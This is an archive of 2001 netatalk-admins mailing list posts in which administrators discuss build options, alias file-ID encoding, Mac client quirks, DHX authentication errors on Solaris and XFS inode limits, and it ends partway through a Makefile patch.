	id QQkslg14981
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 23:14:51 GMT
Date: Thu, 07 Jun 2001 16:14:48 -0700
Subject: netatalk and Quark
From: Dave Ritter <dave.ritter@newtimes.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B74558F8.1398D%dave.ritter@newtimes.com>
In-Reply-To: <60303@newtimes.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Would it be possible to make a RedHat RPM with "--with-flock-locks" enabled?

And, will this option have an adverse effect on any other usage of the
server? If it will not, how about making it a default?

I hate the way Quark works with the file server, but I'm in no position to
change the main program designers use. All I want to do is give them a
stable, high-preformance file server.

Dave Ritter
dave.ritter@newtimes.com
New Times Inc.
www.newtimes.com



From netatalk.administrators-errors@umich.edu  Thu Jun  7 20:42:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA14526
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 20:42:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03015
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 20:42:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03002
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 20:42:02 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA02988
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 20:42:01 -0400 (EDT)
Received: from ns12-n67-170.de.inter.net ([213.73.67.170] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #2)
	id 158ALg-00037Y-00
	for netatalk-admins@umich.edu; Fri, 08 Jun 2001 02:42:00 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA09806
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 02:41:09 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: for help
Date: Fri, 8 Jun 2001 02:36:59 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <20010607201858.630.qmail@web12808.mail.yahoo.com>
In-Reply-To: <20010607201858.630.qmail@web12808.mail.yahoo.com>
MIME-Version: 1.0
Message-Id: <01060802384703.24840@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA14526

On Thu, 07 Jun 2001, ming zhang wrote:
[Lots of garbage and spam removed]

Use GNU make!

Best regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jun  8 00:42:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA22005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 00:42:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA07000
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 00:42:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA06998
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 00:42:00 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA06980
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 00:41:59 -0400 (EDT)
Date: Fri,  8 Jun 2001 00:34:30 -0400
Message-Id: <200106080034.AA1730216460@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
CC: <jeff@univrel.pr.uconn.edu>
Subject: Alias storage of dir/file ID's
X-Mailer: <IMail v6.05>

Jeff -- 

Sorry if this is your second receipt of my message (having trouble with my email system). 

Also, a note here... I recompiled today's CVS (June 7), and tried it out with a well-formed afpd.mtab in the sysconfdir (/usr/local/atalk/etc for me).  As I've mentioned before, I'm looking for a change in the 8 more-significant-bits of the 32-bit identifier in the alias. 

Here's an example and an illustration that might assist in verifying the implementation of mtab code (decimal inodes returned by "ls -i filename" converted to hex): 

To start, the old, non-mtab pattern is: 
bit 1 (1 bit for file vs. directory) 
bits 2-5 (4 bits for device major number) 
bits 6-8 (3 bits for device minor number) 
bits 9-32 (24 bits for inode) 

I have a file (not a directory) 
-- Therefore bit 1 is set to value 1 

This file resides on... 
device 9 major 
-- Therefore bits 2-5 are set to 1001 
device 0 minor 
-- Therefore bits 6-8 are set to 000 

This file exists at inode 073695h 
-- Therefore bits 9-32 are set to... 
0    7    3    6    9    5 
0000 0111 0011 0110 1001 0101 

Append these all together and you get (dot separators for emphasis): 

F Maj  Min Inode 
1.1001.000.000001110011011010010101 

Now compact them together, and take the hex of each block of 4 bits (nibble?)... 
11001000000001110011011010010101 = 
1100 1000 0000 0111 0011 0110 1001 0101 = 
C    8    0    7    3    6    9    5 

So here's the payoff:  If you open this alias with Apple's resedit utility (check the "Use alias instead of original" box), you'll find that starting at byte position 000072 you have the digits: 
C807 3695 (as above!) 

So, using this analysis, it appears that mtab code isn't applying here, as the result with mtab active would be: 
2007 3695 (coming from a run of test_parse_mtab where my drive is listed as "1 /dev/md0 /" in the mtab). 

A note:  test_parse_mtab likes to have an afpd.mtab file in the same directory (so I copied it from /usr/local/atalk/etc). 

I hope this helps! 


---------- Original Message ---------------------------------- 
From: "Richard Goldman" <rgml@graphpoint.com> 
Reply-To: <rgml@graphpoint.com> 
Date: Thu,  7 Jun 2001 12:52:44 -0400 

>Jeff -- 
> 
>Yes, I did compile with "--with-did=mtab" (on CVS tree taken at 10am PDT yesterday).  The reason I'm not sure if it's working is that I had created an alias using an older version of netatalk.  I then compiled the new tree with the above option, created a valid afpd.mtab (in atalk/etc) and made a fresh alias.  When I compared the contents of these pre and post mtab aliases, there was no difference between the two in the vicinity of byte 70 (as seen in resedit). 
> 
>I'm just guessing that the leading bits prior to byte 73 (start of 24 bit inode) would be different if mtab were active because mtab promises a greater number of bits dedicated to inode only. 
> 
>Apologies in advance for any incorrect assumptions, including my assumption that afpd.mtab should be in /usr/local/atalk/etc (that was my "--prefix=" location given during ./configure). 
> 
>BTW I'm thrilled that we're moving along in this area and I truly appreciate the focus you and others give to this and all other aspects of netatalk.  Thank you for taking the time to oversee its continuing improvement. 
> 
>-- Richard 
> 


From netatalk.administrators-errors@umich.edu  Fri Jun  8 10:26:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA07497
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 10:26:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 10:26:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02770
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 10:26:17 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA02724
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 10:26:16 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Fri, 8 Jun 2001 09:26:15 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Fri, 8 Jun 2001 09:26:15 -0500
Date: Fri, 8 Jun 2001 09:26:15 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: trash / window refresh tips
Message-Id: <Pine.SOL.4.20.0106080917350.3461-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I just did some testing after being prompted by an off-list question, and
discovered two small, simple things that might be of use, but I don't
recall seeing on the lists.

The problem with files on the netatalk server being dragged to the trash,
and a dialog box coming up and saying that the files must be deleted? This
doesn't happen on my Mac OS 9.1 machines (grey G4s). The files go in the
trash folder and stay there, until I empty the trash. The problem *does*
happen on my 8.0, 8.1 and 8.6 machines. I don't have any 9.0.4's I can
test on right now. My test environment isn't too big, so I don't know how
this affects the problem of deleting other people's files when dragging
stuff to the trash.

The folder refresh problem. I tend to view my mac files in "List" format,
so the subdirectories have those neat little triangles that you can click
on to list the subdirectories in the same window. If my main folder has an
updated file which isn't showing up due to the refresh problem, if I open
a subdirectory with the triangle, that prompts a refresh and the file
appears. Still not as good as the window refreshing immediately, but
better and faster than having to close and reopen the window.

Cheers,

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Fri Jun  8 12:14:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA10531
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 12:14:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08839
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 12:14:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA08829
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 12:14:41 -0400 (EDT)
Received: from tractor.meridian.wednet.edu (tractor.meridian.wednet.edu [164.116.190.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA08800
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 12:14:40 -0400 (EDT)
Received: from tractor.Laurel [164.116.190.5] by tractor.meridian.wednet.edu
  (SMTPD32-5.05) id A98A5D9B0266; Fri, 08 Jun 2001 09:12:58 -0700
Received: FROM hc0166 BY tractor.Laurel ; Fri Jun 08 09:12:57 2001 -0700
Message-Id: <3.0.5.32.20010608091614.00996940@mail.meridian.wednet.edu>
X-Sender: jjohnson@mail.meridian.wednet.edu
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 08 Jun 2001 09:16:14 -0700
To: netatalk-admins@umich.edu
From: Jack Johnson <jjohnson@meridian.wednet.edu>
Subject: netatalk 1.4b2+asun2.1.3 and MS issues
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

I'm running netatalk 1.4b2+asun2.1.3 on Debian 2.2 (potato) and I'm
having an interesting problem with netatalk and Word/PowerPoint.

Inserting certain types of digital images into a document --- new or
existing --- causes the file not to save and the server to disconnect.
 It's definitely repeatable, and it's gotten to the point that we can
predict which files will and won't save.

The clients are running Mac OS 9.0.4, AppleShare 3.8.6, OpenTransport
2.6.1 and Office 98 with the latest patches.  I have not tried other
versions of any of the above.

Interestingly, the files save OK to a local volume and to an NT share,
though probably not as quickly as one might expect (but not eternally
slow, either).  The original images also save to any volume just fine,
as do the original documents.

I know netatalk 1.4b2+asun2.1.3 has some issues, but this is one I
hadn't heard of (or seen) before.

If you would like some test documents, feel free to contact me.  I
would love to know whether the same symptoms exist under 1.5pre6, and,
if this problem is a known one, any background information on it.

Thanks,

-Jack Johnson


From netatalk.administrators-errors@umich.edu  Fri Jun  8 12:27:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11052
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 12:27:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 12:27:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14713
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 12:27:33 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14682
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 12:27:32 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f58GRUP23772;
	Fri, 8 Jun 2001 12:27:30 -0400
Message-ID: <3B20FCD5.9090903@univrel.pr.uconn.edu>
Date: Fri, 08 Jun 2001 12:27:01 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18 i686; en-US; rv:0.9.1) Gecko/20010607
X-Accept-Language: en-us
MIME-Version: 1.0
To: Jack Johnson <jjohnson@meridian.wednet.edu>
CC: netatalk-admins@umich.edu
Subject: Re: netatalk 1.4b2+asun2.1.3 and MS issues
References: <3.0.5.32.20010608091614.00996940@mail.meridian.wednet.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Jack Johnson wrote:

> I'm running netatalk 1.4b2+asun2.1.3 on Debian 2.2 (potato) and I'm
> having an interesting problem with netatalk and Word/PowerPoint.
> 
> Inserting certain types of digital images into a document --- new or
> existing --- causes the file not to save and the server to disconnect.
>  It's definitely repeatable, and it's gotten to the point that we can
> predict which files will and won't save.
> 
> The clients are running Mac OS 9.0.4, AppleShare 3.8.6, OpenTransport
> 2.6.1 and Office 98 with the latest patches.  I have not tried other
> versions of any of the above.
> 
> Interestingly, the files save OK to a local volume and to an NT share,
> though probably not as quickly as one might expect (but not eternally
> slow, either).  The original images also save to any volume just fine,
> as do the original documents.
> 
> I know netatalk 1.4b2+asun2.1.3 has some issues, but this is one I
> hadn't heard of (or seen) before.
> 
> If you would like some test documents, feel free to contact me.  I
> would love to know whether the same symptoms exist under 1.5pre6, and,
> if this problem is a known one, any background information on it.


I don't believe that those problems exist under 1.5pre6.

Jeff


From netatalk.administrators-errors@umich.edu  Fri Jun  8 14:27:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA15261
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 14:27:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14034
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 14:27:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14021
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 14:27:04 -0400 (EDT)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA14010
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 14:27:03 -0400 (EDT)
Received: (from httpd@localhost)
	by gromit.daemonize.com (8.11.3/8.11.3) id f58IOOl25528
	for netatalk-admins@umich.edu; Fri, 8 Jun 2001 11:24:24 -0700
X-Authentication-Warning: gromit.daemonize.com: httpd set sender to pkrohn@daemonize.com using -f
To: netatalk-admins@umich.edu
Subject: 1.5pre6 on solaris 8
Message-ID: <992024664.3b2118580e808@webmail.daemonize.com>
Date: Fri, 08 Jun 2001 11:24:24 -0700 (PDT)
From: Paul Krohn <pkrohn@daemonize.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.4

A while ago I posted a problem report about this configuration; I've made a 
little progress since then. 

the configure script finds my OpenSSL, installed under /usr/local.

1.5pre6 compiles ok, though not without error. 

When I start afpd, i get the following in /var/adm/messages:

Jun  7 17:27:54 arthur afpd[18926]: [ID 272954 daemon.error] uam_load(uams_dhx.s
o): failed to load: ld.so.1: ./afpd: fatal: relocation error: file /usr/local/at
alk/etc/uams/uams_dhx.so: symbol __eprintf: referenced symbol not found

Not surprisingly, DHX authentication does not work. Clear text works fine. I'd 
really like to get DHX working before I give more people access to this server.

 Also, the following set of message is sprinkled (liberally) throughout:

Jun  7 17:24:18 arthur afpd[18902]: [ID 267206 daemon.error] setdirowner: chown 
1/-1 .AppleDouble: Not owner
Jun  7 17:24:18 arthur afpd[18902]: [ID 914701 daemon.error] setdirowner: chown 
1/-1 .: Not owner
Jun  7 17:24:18 arthur afpd[18902]: [ID 235491 daemon.error] setdirowner: chown 
-1/0 .AppleDouble/.Parent: Not owner

There's only one user at the moment and the user ons all the directories to which 
afpd provides access.

So I guess that's two questions: how do I get DHX to work, and how do i stop the 
'Not owner' messages?

Thanks.

--
'If all you have is a hammer, everything looks like a nail'

From netatalk.administrators-errors@umich.edu  Fri Jun  8 19:27:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA23428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 8 Jun 2001 19:27:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00844
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 8 Jun 2001 19:27:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00831
	for netatalk.administrators-members@umich.edu; Fri, 8 Jun 2001 19:27:10 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA00797
	for <netatalk-admins@umich.edu>; Fri, 8 Jun 2001 19:27:07 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id JAA14149;
	Sat, 9 Jun 2001 09:26:58 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B215F3C.A5FC65D4@arts.usyd.edu.au>
Date: Sat, 09 Jun 2001 09:26:52 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.5-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: rgml@graphpoint.com
CC: netatalk-admins@umich.edu
Subject: Re: Aliases:  Are alternate filesystems worth trying?
References: <200106070118.AA1441202690@graphpoint.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msF5784436AB133B2C726DBAB9"

This is a cryptographically signed message in MIME format.

--------------msF5784436AB133B2C726DBAB9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Richard Goldman wrote:
> 
> Well, gotta retract a few things here, sorry folks:
> 
> If an XFS volume is created as I've suggested (in this case on a 36GB raid 5 md), the "df -i" command reports that I have 4,480,192 inodes to play with -- certainly less than the 16,777,216 that can be encoded in an alias.
> 
> However, after stress-testing and adding about 100,000 new files and directories to the raid, I have inode numbers higher than 16,777,216, which is not safe.  Matthew Geier, I believe, had mentioned that XFS inodes may "encode a disk address..." and not be members of a fixed pool.


 While I wouldn't say for sure with out reading the XFS 'whitepapers', I
understand from the XFS list, that Inodes are not fixed in number. XFS
allocates more inode space as required.
 All df -i will do is tell you what is currently allocated (I think). If
you ever ran out of inodes the file system would allocate more.

 The inode numbers on XFS are 64bit and encode the address of either the
inode block or the first extent of the file.

 Even with the new mtab scheme, with 64 bit Inodes on XFS , there is
going to be a massive loss of information when 34 bits of the inode
number are thrown away.
 And you can't configure an XFS file system with a smaller than 2^30
inodes to prevent the clash from happening.

 Presumably its impossible to have more than 2^30 files on a HFS disk
over the entire lifetime of the filesystem. Seems like a bit of a
serious long term restriction?.
--------------msF5784436AB133B2C726DBAB9
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwNjA4MjMyNjUzWjAjBgkq
hkiG9w0BCQQxFgQUcFlQZpECLe2LCmb7rhDxC3SwCS8wOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYDL5i429q393bYEPh7d0ZkqQIoUt65zobANgtEXqlgHzu7ldxCs1tDW14ssGMX70KY9GE3D
4VfFyFwZQhl6he/E7iA7GFWlGd9DgYf/TzYZD0qRBg2swakdvGCHMsMXgMntXJ3UUsJpLDDq
n8Z3juKysMirerkTc8uCIHd1donusw==
--------------msF5784436AB133B2C726DBAB9--


From netatalk.administrators-errors@umich.edu  Sun Jun 10 17:18:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA26468
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 10 Jun 2001 17:18:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23759
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 10 Jun 2001 17:18:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA23753
	for netatalk.administrators-members@umich.edu; Sun, 10 Jun 2001 17:18:28 -0400 (EDT)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA23739
	for <netatalk-admins@umich.edu>; Sun, 10 Jun 2001 17:18:27 -0400 (EDT)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP id BF9001E1A1
	for <netatalk-admins@umich.edu>; Sun, 10 Jun 2001 23:18:35 +0200 (MEST)
Date: Sun, 10 Jun 2001 23:18:35 +0200
From: Olaf Hering <olh@suse.de>
To: netatalk-admins@umich.edu
Subject: linker trouble in current CVS
Message-ID: <20010610231835.E12272@suse.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i

hi,

someone submitted that patch in the last days:

diff -urN netatalk.prev/etc/uams/Makefile.am
netatalk/etc/uams/Makefile.am
--- netatalk.prev/etc/uams/Makefile.am  Tue May  8 17:45:14 2001
+++ netatalk/etc/uams/Makefile.am       Sun Jun 10 05:05:31 2001
@@ -47,7 +45,7 @@
 .c.so:
        $(COMPILE) -DHAVE_CONFIG_H -fPIC -DPIC \
          -I$(top_srcdir) -fomit-frame-pointer -c $< ; \
-       $(CC) $(LDSHAREDFLAGS) -o $@ $*.o $(LDFLAGS) $(LIBS)
